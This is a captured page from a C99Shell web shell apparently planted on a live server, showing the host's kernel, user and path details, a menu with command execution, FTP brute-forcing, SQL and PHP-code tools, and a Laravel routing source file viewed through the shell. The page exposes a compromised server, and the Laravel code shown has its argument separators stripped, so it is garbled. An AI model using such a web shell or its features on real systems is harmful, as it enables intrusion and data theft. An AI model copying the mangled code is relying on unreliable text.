!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResolvesRouteDependencies.php (3.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Reflector;
use 
ReflectionClass;
use 
ReflectionFunctionAbstract;
use 
ReflectionMethod;
use 
ReflectionParameter;
use 
stdClass;

trait 
ResolvesRouteDependencies
{
    
/**
     * Resolve the object method's type-hinted dependencies.
     *
     * @param  array  $parameters
     * @param  object  $instance
     * @param  string  $method
     * @return array
     */
    
protected function resolveClassMethodDependencies(array $parameters$instance$method)
    {
        if (! 
method_exists($instance$method)) {
            return 
$parameters;
        }

        return 
$this->resolveMethodDependencies(
            
$parameters, new ReflectionMethod($instance$method)
        );
    }

    
/**
     * Resolve the given method's type-hinted dependencies.
     *
     * @param  array  $parameters
     * @param  \ReflectionFunctionAbstract  $reflector
     * @return array
     */
    
public function resolveMethodDependencies(array $parametersReflectionFunctionAbstract $reflector)
    {
        
$instanceCount 0;

        
$values array_values($parameters);

        
$skippableValue = new stdClass;

        foreach (
$reflector->getParameters() as $key => $parameter) {
            
$instance $this->transformDependency($parameter$parameters$skippableValue);

            if (
$instance !== $skippableValue) {
                
$instanceCount++;

                
$this->spliceIntoParameters($parameters$key$instance);
            } elseif (! isset(
$values[$key $instanceCount]) &&
                      
$parameter->isDefaultValueAvailable()) {
                
$this->spliceIntoParameters($parameters$key$parameter->getDefaultValue());
            }
        }

        return 
$parameters;
    }

    
/**
     * Attempt to transform the given parameter into a class instance.
     *
     * @param  \ReflectionParameter  $parameter
     * @param  array  $parameters
     * @param  object  $skippableValue
     * @return mixed
     */
    
protected function transformDependency(ReflectionParameter $parameter$parameters$skippableValue)
    {
        
$className Reflector::getParameterClassName($parameter);

        
// If the parameter has a type-hinted class, we will check to see if it is already in
        // the list of parameters. If it is we will just skip it as it is probably a model
        // binding and we do not want to mess with those; otherwise, we resolve it here.
        
if ($className && ! $this->alreadyInParameters($className$parameters)) {
            
$isEnum = (new ReflectionClass($className))->isEnum();

            return 
$parameter->isDefaultValueAvailable()
                ? (
$isEnum $parameter->getDefaultValue() : null)
                : 
$this->container->make($className);
        }

        return 
$skippableValue;
    }

    
/**
     * Determine if an object of the given class is in a list of parameters.
     *
     * @param  string  $class
     * @param  array  $parameters
     * @return bool
     */
    
protected function alreadyInParameters($class, array $parameters)
    {
        return ! 
is_null(Arr::first($parameters, fn ($value) => $value instanceof $class));
    }

    
/**
     * Splice the given value into the parameter list.
     *
     * @param  array  $parameters
     * @param  string  $offset
     * @param  mixed  $value
     * @return void
     */
    
protected function spliceIntoParameters(array &$parameters$offset$value)
    {
        
array_splice(
            
$parameters$offset0, [$value]
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--